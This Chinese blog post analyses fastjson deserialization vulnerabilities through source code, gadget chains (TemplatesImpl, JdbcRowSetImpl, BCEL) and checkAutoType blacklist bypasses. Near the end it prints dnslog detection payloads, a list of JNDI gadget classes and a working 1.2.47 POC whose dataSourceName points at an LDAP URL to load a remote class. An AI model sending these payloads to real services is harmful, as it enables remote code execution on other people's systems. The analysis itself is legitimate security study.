好久没更新文章了,去年学习了一些东西,都没来得及认真整理。最近在改内存马,就顺便重新整理了一下反序列化的内容,希望陆陆续续写出来。fastjson漏洞从1.2.24到后来的70+版本,先从源码逻辑上看一看1.2.24
读完第一部分源码分析阶段的内容,可以发现fastjson通过parseObject()或parse()方法会对传入的字符串进行反序列化操作。首先进行词法分析,根据symbol(@type、$ref)的不同也有不同的解析机制。如果传入的是@type,就根据其寻找指定的类,并根据传入的字段加载相应的setter和getter方法。两种方法的加载都有一定的限制,在源码分析部分都有提到。
简单来说,fastjson反序列化就是根据指定的类和类中的字段执行对应的setter和getter方法。那么在调用链构造时,和原生反序列化(CC链)有很大不同,fastjson只需要找一个类。该类需要触发的恶意方法叫setXXX或getXXX。这部分在第二部分链条分析中都有提到。
fastjson反序列化出现好几年了,中间也有多次修复和黑名单绕过。最开始对1.2.24的修复是加了黑名单,但是本身类加载loadClass的逻辑存在一定的问题,可以在恶意类名前面加了一个L,后面加一个;来绕过黑名单的限制。后来还有双写L的绕过,但是这类方式需要开启AutoType检测。1.2.47版本是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存来绕过AutoType的检测。这在源码分析的Q1中有提到。后续版本中也出现过各式各样需要开启AutoType的链条,利用的恶意类不同,大致有如下这些。直到1.2.68出现了一种无需开启AutoType的方法,利用不在黑名单中的expectClass类的子类或实现类java.lang.AutoCloseable
// JNDI
com.zaxxer.hikari.HikariConfig -> metricRegistry | healthCheckRegistry
oracle.jdbc.connector.OracleManagedConnectionFactory -> xaDataSourceName
org.apache.commons.configuration.JNDIConfiguration -> prefix
org.apache.commons.proxy.provider.remoting.SessionBeanProvider -> jndiName
org.apache.xbean.propertyeditor.JndiConverter -> AsText
org.apache.cocoon.components.slide.impl.JMSContentInterceptor -> parameters
org.apache.shiro.jndi.JndiObjectFactory -> resourceName
org.apache.shiro.realm.jndi.JndiRealmFactory -> jndiNames
br.com.anteros.dbcp.AnterosDBCPConfig -> metricRegistry | healthCheckRegistry
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup -> jndiNames
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig -> properties
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup -> jndiNames
org.apache.shiro.jndi.JndiObjectFactory -> resourceName
源码分析
源码分析主要分为以下四部分:
(1)词法分析—JSONLexerBase
(2)字符串反序列化流程—DefaultJSONParser.parseObject
(3)类加载—TypeUtils.loadClass
(4)Deserializer获取—方法限制
(1)词法分析—JSONLexerBase
词法分析也叫分词 ,将其字符流分割成一个个的词,也叫token(记号)。fastjson的token定义在JSONToken中,挑选了部分展示如下:
public class JSONToken {
// 4 代表 string
public final static int LITERAL_STRING = 4;
// 8 代表 null
public final static int NULL = 8;
// 10 代表 (
public final static int LPAREN = 10;
// 12 代表 {
public final static int LBRACE = 12;
// 14 代表 [
public final static int LBRACKET = 14;
// 16 代表 ,
public final static int COMMA = 16;
// 17 代表 :
public final static int COLON = 17;
// 19 代表 fieldName
public final static int FIELD_NAME = 19;
...
Token解析的方法主要存在于JSONLexerBase中,字段主要代表字符(如字符ch)或字符的位置(如pos、bp、下一个字符位置sp、token首字母位置np),方法主要包括对不同类型数据的扫描,如scanString、scanFieldSymbol等。
在反序列化中经常用到该类中的scanSymbol方法,不断通过.next()获取下一位字符,直到当前字符等于quote(引号),然后取出两个引号间的内容。
(2)字符串反序列化流程—DefaultJSONParser.parseObject
反序列化时,根据{ }这样的token来获取要进行解析的内容,并且当前字符为引号时,通过scanSymbol方法截取到下一个引号间的内容赋值为key,如果key等于@type,就再次通过scanSymbol方法截取@type后面的内容得到类名,然后对类进行加载loadClass,选取对应的Deserializer进行反序列化。
public final Object parseObject(Map object, Object fieldName) {
JSONLexer lexer = this.lexer;
// 此处省略lexer的判断,值为8或13,token扫描下一个,不等于12( '{' )或16( '[' )就抛出异常,等于{或[就进入else分支
if (ch == '"') {
// 取出symbolTable的@type赋值给key
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
// 如果key等于@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
// 取出key后面引号中的内容
ref = lexer.scanSymbol(this.symbolTable, '"');
// 对取出的内容当作类名进行加载
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
// 选取Deserilizer
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
// 进行反序列化
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
(3)类加载—TypeUtils.loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
...
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} ...
loadClass的流程很易读,从mappings中根据className寻找对应的类,mappings存储了很多基础类型的类如int、long、HashMap等。如果没在mappings中找到,就根据类名来加载。对于类名会进行两种判断。是否以[开头或者是否以L开头;结尾。这个也是在官方出了类加载的黑名单之后绕过方式的突破点。类加载完成后和className绑定放入mappings。也就是所有loadClass过的类都可以在mappings中找到。这个也是后期用java.lang.Class绕过黑名单的原因。
Q1:loadClass的逻辑为何能绕黑名单?
在1.2.24版本出现漏洞之后,官方在ParseConfig中的denyList属性中增加了很多类,RMI、BCEL、Transformer等常用类均被加入到了很名单。另外,ParseConfig增加了checkAutoType方法。
private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader) {
...
this.autoTypeSupport = AUTO_SUPPORT;
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
this.acceptList = AUTO_TYPE_ACCEPT_LIST;
checkAutoType方法在第三部分中有具体提到。此处只借着loadClass的代码说一下为什么会有黑名单的绕过。
在loadClass的第二个else if中判断className是否以L开头并且以;结尾,如果是的话就截取其中的内容。而1.2.24修复采取黑名单机制是先判断类名,类名不在黑名单中就用loadClass来加载类。这样就可以在黑名单的类名中加入L和;绕过第一步黑名单判断,走到loadClass中经过截取处理得到正常的类进行加载。(但是这种方式需要开启autoTypeSupport,见第三部分)
(4)Deserializer获取
Deserializer获取过程被我进行了一些逻辑简化,删除了部分代码,只讲主要逻辑。fastjson会通过getDeserializer方法根据传入的类寻找相应的Deserializer,基础类型已经有了内置对应的,但是自定义的类往往就会通过createJavaBeanDeserializer方法来创建相应的Deserializer。该方法最终调用的是JavaBeanInfo.build。
// ParserConfig.getDeserializer
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer == null) {
String className = clazz.getName();
className = className.replace('$', '.');
// 判断类是否在黑名单中
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
//判断className是否为java.xxx.开头,略
if (derializer == null) {
// 对要进行反序列化的clazz进行类型判断,是否为基础类型Enum、Array、Collection、Map、Throwable等,如果是就调用对应的Deserializer,略
// 如果不是基础类型,就创建一个JavaBeanDeserializer
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}
// ParserConfig.createJavaBeanDeserializer
public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
JavaBeanInfo beanInfo;
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
...
}
// JavaBeanInfo.build
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
// 反射获取了clazz的信息,字段、方法、默认构造方法等
Class<?> builderClass = getBuilderClass(jsonType);
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods(); //包含类自定义方法和toString、hashCode、getClass、notify、notifyAll、equals、wait等方法
Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
if (defaultConstructor != null) {
TypeUtils.setAccessible(defaultConstructor);
}
for(i = 0; i < var29; ++i) { //对类中的methods进行遍历
method = var30[i];
String methodName = method.getName();
// 方法名称长度大于4,不是static的,返回类型为void或该Class类型
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes();
// 参数数量为1
if (types.length == 1) {...}
// 如果方法名是set开头
if (methodName.startsWith("set")) {
char c3 = methodName.charAt(3);
String propertyName;
if (!Character.isUpperCase(c3) && c3 <= 512) {...}
else if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
else {
//截取set后的内容,并将首字母转为小写
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
// 将截取的set后的内容与clazz本身具有的field做循环比较,如果能匹配上就返回field
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}
for(i = 0; i < var29; ++i) {
method = var30[i];
String methodName = method.getName();
// 方法名称长度大于4,不是static的,以get开头,第四个字符为大写,没有参数,返回类型为Collection | Map | AtomicBoolean | AtomicInteger | AtomicLong
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {...}
Q2:setter、getter方法的调用。从JavaBeanInfo.build中可以看出fastjson对反序列化的方法上有要求的。无论是setter、getter还是is,都应该方法名长度大于4,并且不是static的。如果是setter方法返回类型要为void或者为当前类,参数个数为1。如果是getter方法,第四个字母大写,无参数,并且返回值类型继承自Collection、Map、AtomicBoolean、AtomicInteger或AtomicLong。
fastjson根据field通过匹配get或set方法来实现反序列化。但是parse和parseObject有一点区别。JSON.parse("")反序列化会得到特定的类,与JSON.parseObject("",XX.class)效果类似(按照上述getter规范调用)。而JSON.parseObject("")返回的是JSONObject类型的对象(调用全部getter)。
Q3:设置Feature.SupportNonPublicField对于没有set方法的private属性可以在反序列化时完成赋值。原因是在反序列化调用deserialize时,有一个parseField的方法。
// JavaBeanDeserializer.deserialize
boolean match = this.parseField(parser, key, object, type, fieldValues);
JavaBeanDeserializer.parseField大体内容如下
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
// smartMatch方法是field和method的匹配规则,去掉field前的_和-,并忽略大小写
FieldDeserializer fieldDeserializer = this.smartMatch(key);
// 设置了Feature.SupportNonPublicField 会通过if判断
int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
if (this.extraFieldDeserializers == null) {
...
extraFieldDeserializers.put(fieldName, field);
}
Object deserOrField = this.extraFieldDeserializers.get(key);
if (deserOrField != null) {
...
// 从而反射更改属性的访问权限
Field field = (Field)deserOrField;
field.setAccessible(true);
后续会调用DefaultFieldDeserializer.parseField对该private属性的field进行解析获取反序列化时的值。并在parseField方法的最后有一行this.setValue(object, value);,对象的属性得以赋值。
链条分析
常见的链条主要分为三类:TemplatesImpl、BCEL(BasicDataSource)、JNDI(JdbcRowSetImpl等)。JNDI的链条很多,在文章的最初也列了一些。
(1)Templateslmpl
这个链条在CommonsBeautils和7u21中都有用到,这里就不讲具体原理了。调用链如下,入口点恰恰就是get开头的方法。通过@type指定类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl.getOutputProperties() //由_outputProperties属性触发
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() //要求_name!=null
TemplatesImpl.defineTransletClasses() //要求_tfactory!=null
ClassLoader.defineClass() //构造_bytecodes为恶意类
Class.newInstance()
该类中包含的部分属性如下,按照fastjson的逻辑,如果反序列化中对_outputProperties进行了赋值,就会自动调用getOutputProperties方法,触发利用链。
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private Properties _outputProperties;
如果是private的且没有set方法的,fastjson想要对其赋值,需要在parseObject中设置Feature.SupportNonPublicField,这在实际开发场景中较难遇到,所以都认为这条利用链有些鸡肋。
(2)JdbcRowSetImpl
调用链:setAutoCommit() -> connect() -> InitialContext.lookup(),入口为set开头的方法。
public void setAutoCommit(boolean var1) throws SQLException { //fastjson想调用此方法需要设置autoCommit
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
// dataSourceName 传入JNDI地址
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} ...
}
}
JdbcRowSetImpl类扩展了JdbcRowSet接口,该接口中定义setAutoCommit的参数为boolean autoCommit,按照fastjson的逻辑,如果赋值autoCommit属性,就会调用setAutoCommit或getAutoCommit。dataSourceName需要传入JNDI地址。由于攻击方式为JNDI,所以应用场景要求能出网。
(3)BCEL—BasicDataSource
调用链如下
BasicDataSource.getConnection()
createDataSource()
createConnectionFactory()
Class.forName() //第二个参数initial为true时,对类加载的同时进行初始化(加载static代码)
具体方法如下
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) { //dataSource赋值为null
return this.dataSource;
} else {
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
this.createConnectionPool();
...
}
protected ConnectionFactory createConnectionFactory() throws SQLException {
Class driverFromCCL = null;
String user;
if (this.driverClassName != null) {
try {
try {
//driverClassName赋值恶意类
if (this.driverClassLoader == null) {
Class.forName(this.driverClassName);
} else {
Class.forName(this.driverClassName, true, this.driverClassLoader);
}
} ...
目标应用中很难找到恶意类,这时就考虑到BCEL类加载器,该加载器会从字符串中读取类信息。也就是将driverClassName设定为com.sun.org.apache.bcel.internal.util.ClassLoader类,driverClassName设定为BCEL字符串。
黑名单绕过—checkAutoType
在1.2.25版本开始,ParseConfig类中增加了checkAutoType方法,并且在DefaultJSONParser.parseObject方法中,判断到key为@type后,通过checkAutoType对类进行检查
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)){
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
...
}
checkAutoType的大致逻辑如下
// ParseConfig.checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
// 如果开启了autoTypeSupport 或expectClass不为null
if (this.autoTypeSupport || expectClass != null) {
// 白名单循环,如果在白名单中就loadClass
for(i = 0; i < this.acceptList.length; ++i) { loadClass()}
// 黑名单循环,如果在黑名单中就抛出异常
for(i = 0; i < this.denyList.length; ++i) { throw new JSONException("autoType is not support. "...)}
// 如果不满足第一个if, 就从Mapping中寻找类
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
// 如果在mapping中没找到,再从deserializers中寻找
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
...
// 如果还没找到,并且autoTypeSupport没开启
if (!this.autoTypeSupport) {
for(i = 0; i < this.denyList.length; ++i) {
// 如果findClass出来的类在黑名单中,抛出异常
throw new JSONException("autoType is not support. " + typeName);}
for(i = 0; i < this.acceptList.length; ++i) {
// 如果findClass出来的类在acceptList中,loadClass
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
// 如果autoTypeSupport开启了或者expectClass!=null
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
// clazz 不能是ClassLoader或DataSource类的,否则抛出异常,
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
}
(1)autoType 开启的情况下,进行黑白名单检测。通过白名单就返回用户指定的类,符合黑名单就抛出异常。所以就有了Q1中提到的,开启autoType在类名前加L等绕过黑名单的方式。
(2)autoType 未开启的情况下,通过 clazz = TypeUtils.getClassFromMapping(typeName);获取类, typeName 为 @type 里指定的类。如果能在Mappings缓存中找到指定的类就直接返回类对象。
(3)如果Mappings中找不到,就通过clazz = this.deserializers.findClass(typeName);去获取类。
findClass的代码如下:
// IdentityHashMap
public Class findClass(String keyString) {
IdentityHashMap.Entry[] var2 = this.buckets;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
IdentityHashMap.Entry bucket = var2[var4];
if (bucket != null) {
for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = (Class)key;
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
...
}
return null;
}
整体逻辑非常简单,buckets 数组内置了一些基础的类。如果传入的类和数组中的key代表的类一致就返回类。查看buckets数组的key,选取其中的部分值粘贴如下(带*号的为常见POC中用到的类)
class java.util.Map
class java.util.TreeMap
interface java.lang.Comparable
class java.lang.Byte
class java.net.URL
class java.lang.StringBuffer
interface java.lang.Cloneable
class java.net.Inet6Address // *
class com.alibaba.fastjson.JSONArray
class java.net.InetSocketAddress
class java.lang.StackTraceElement
class java.util.regex.Pattern
class java.lang.Character
class java.io.File
class java.net.InetAddress // *
class java.lang.StringBuilder
class com.alibaba.fastjson.JSONObject // *
class java.lang.Object
class java.net.Inet4Address // *
class java.lang.Class // *
class java.lang.Boolean
interface java.io.Closeable
class com.alibaba.fastjson.JSONPath
class java.util.HashMap
interface java.util.concurrent.ConcurrentMap
interface java.io.Serializable
这些key解决了几个点:
a. fastjson检测。一般采用如下的调用链,关键类都来自于上述key,绕过了黑名单
{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetAddress","val":"dnslog"}
"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
b. 1.2.47以下版本的POC。该POC采取key中的java.lang.Class与上述链条(JdbcRowSetImpl、C3P0、BasicDataSource)相结合的方式将要用到类加载到Mappings中,然后通过getClassFromMapping获取类,来绕过checkAutoType黑名单检测。值得一提的是上述key代表的类在反序列化时对应的Deserializer为MiscCodec类。
以java.lang.Class与JdbcRowSetImpl结合的POC为例。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
参考(2)字符串反序列化流程可以知道,如果传入的类是java.lang.Class,选取deserilizer得到MiscCodec,由MiscCodec类的deserialze方法对其进行反序列化解析。该方法中会对key对应的clazz进行判断,然后选取不同的方法。java.lang.Class对应的方法为loadClass,如下代码所示。loadClass的参数即为传入的JdbcRowSetImpl类。这样缓存中就加载过JdbcRowSetImpl类了,在第二段代码执行时即可从Mapping中找到,绕过黑名单
// MiscCodec.deserialze()
strVal = (String)objVal;
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
Class结合的POC很多,都是Mapping加载和调用链的结合,不再多说。
但是需要解释一下,有些POC中还加入了"@type":"com.alibaba.fastjson.JSONObject",表示整个对象的类型为JSONObject,如果反序列化时key是JSONObject的,那么会具体执行对象的getter方法,这样能够执行到POC最内层的类的getter方法。
最后关于fastjson的payload可以看这个集合:
https://github.com/safe6Sec/Fastjson












网友评论